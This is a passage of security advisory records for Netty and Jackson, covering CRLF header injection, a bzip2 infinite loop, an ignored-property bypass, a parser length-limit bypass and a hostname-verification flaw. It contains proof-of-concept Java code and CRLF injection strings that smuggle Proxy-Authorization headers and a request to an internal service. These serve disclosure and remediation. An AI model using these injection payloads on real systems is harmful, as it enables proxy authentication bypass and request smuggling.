"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42578"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:11:40Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "LOW"
},
"details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r \u003c-- INJECTED\n X-Admin: true\\r \u003c-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"id": "GHSA-45q3-82m4-75jr",
"modified": "2026-05-14T20:40:54Z",
"published": "2026-05-07T00:11:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}
GHSA-558V-64GR-WGG4
Vulnerability from github – Published: 2026-07-22 21:50 – Updated: 2026-07-22 21:50
VLAI
Summary
Netty: [Bzip2Decoder] Infinite Loop in RLE State Machine Leads to Event-Loop Thread Hang
Details
The Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59901"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:50:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "The `Bzip2Decoder` handler in Netty\u0027s compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]",
"id": "GHSA-558v-64gr-wgg4",
"modified": "2026-07-22T21:50:47Z",
"published": "2026-07-22T21:50:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [Bzip2Decoder] Infinite Loop in RLE State Machine Leads to Event-Loop Thread Hang"
}
GHSA-5JMJ-H7XM-6Q6V
Vulnerability from github – Published: 2026-06-23 21:23 – Updated: 2026-07-16 21:25
VLAI
Summary
jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties
Details
Summary
In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.
Impact
An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).
Affected / Patched
Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.
Severity / CWE
Maintainer: minor. Reporter: Moderate. CWE-915.
Upstream fix
FasterXML/jackson-databind#5962 (PR #5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.18.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54515"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:23:58Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\nIn `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map \u2014 restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again.\n\n## Impact\nAn application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).\n\n## Affected / Patched\nWill be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915.\n\n## Upstream fix\nFasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.",
"id": "GHSA-5jmj-h7xm-6q6v",
"modified": "2026-07-16T21:25:45Z",
"published": "2026-06-23T21:23:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5962"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5964"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-08-03 20:32
VLAI
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-08-03T20:32:01Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-C653-97M9-RCG9
Vulnerability from github – Published: 2026-06-15 20:45 – Updated: 2026-06-15 20:45
VLAI
Summary
Netty: Wrapping plain trust manager silently disables hostname verification
Details
SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with SslContextBuilder.forClient().trustManager(somePlainX509TrustManager) performs no hostname verification at all.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50010"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:45:45Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "HIGH"
},
